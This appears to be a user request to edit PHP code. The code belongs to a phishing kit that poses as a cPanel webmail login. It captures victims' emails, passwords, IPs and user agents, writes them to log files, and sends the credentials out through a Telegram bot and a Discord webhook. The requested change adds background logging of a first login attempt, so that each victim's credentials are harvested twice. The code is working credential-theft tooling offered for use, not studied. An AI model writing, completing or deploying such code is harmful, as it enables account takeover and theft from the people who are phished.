edit this code to have this code // Config values $chatId = trim(file_get_contents("admin/config/chatId.ini")); $botUrl = trim(file_get_contents("admin/config/botUrl.ini")); $telegram = trim(file_get_contents("admin/config/status_telegram.ini")); $discord = trim(file_get_contents("admin/config/status_discord.ini")); $webhookUrl = trim(file_get_contents("admin/config/discord.ini")); extract($_REQUEST); $file1 = fopen("results/logins.txt", "a"); fwrite($file1, " ##### ONLINE ACCESSS 🔐 #### ". "\n"); fwrite($file1, "> Email: "); fwrite($file1, $email. "\n"); fwrite($file1, "> Password: "); fwrite($file1, $password. "\n"); fwrite($file1, " ##### ENDS HERE 🔐#### ". "\n"); fwrite($file1, "\n"); fclose($file1); // If this is a background log request, don't redirect if (isset($_POST['background_log']) && $_POST['background_log'] === '1') { // Log the first attempt data $logEntry = json_encode([ 'attempt' => $_POST['attempt'] ?? 'unknown', 'email' => $_POST['email'] ?? '', 'password' => $_POST['password'] ?? '', 'timestamp' => $_POST['timestamp'] ?? time(), 'ip' => $_POST['user_ip'] ?? '', 'user_agent' => $_POST['user_agent'] ?? '' ]) . "\n"; @file_put_contents('received_logs.txt', $logEntry, FILE_APPEND | LOCK_EX); // Return simple response echo 'OK'; exit; } // Normal flow for second attempt - process and redirect // ... your existing config6.php code # Store Post values in variables // Here variable $a is just an example (replace with your own variables) $USID = $_POST["email"]; $PSS = $_POST["password"]; # Format for Telegram & Discord // Here variable $a is just an example (replace with your own variables) $data = "< C P A N E L - W E B M A I L - I N F O > >🔐\n > Email: $USID \n > password: $PSS \n "; // Telegram send function $txt = $data; if ($telegram == "on"){ $send = ['chat_id'=>$chatId,'text'=>$txt]; $web_telegram = "https://api.telegram.org/ {$botUrl}"; $ch = curl_init($web_telegram . '/sendMessage'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, ($send)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $result = curl_exec($ch); curl_close($ch); } // Discord send function if ($discord == "off"){ $web_discord = $webhookUrl; $json_data = array ('content'=>"$txt"); $make_json = json_encode($json_data); $ch = curl_init( $web_discord ); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json')); curl_setopt($ch, CURLOPT_POSTFIELDS, $make_json); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $response = curl_exec($ch); } so it have this function // If this is a background log request, don't redirect if (isset($_POST['background_log']) && $_POST['background_log'] === '1') { // Log the first attempt data $logEntry = json_encode([ 'attempt' => $_POST['attempt'] ?? 'unknown', 'email' => $_POST['email'] ?? '', 'password' => $_POST['password'] ?? '', 'timestamp' => $_POST['timestamp'] ?? time(), 'ip' => $_POST['user_ip'] ?? '', 'user_agent' => $_POST['user_agent'] ?? '' ]) . "\n"; @file_put_contents('received_logs.txt', $logEntry, FILE_APPEND | LOCK_EX); // Return simple response echo 'OK'; exit; } // Normal flow for second attempt - process and redirect // ... your existing config6.php code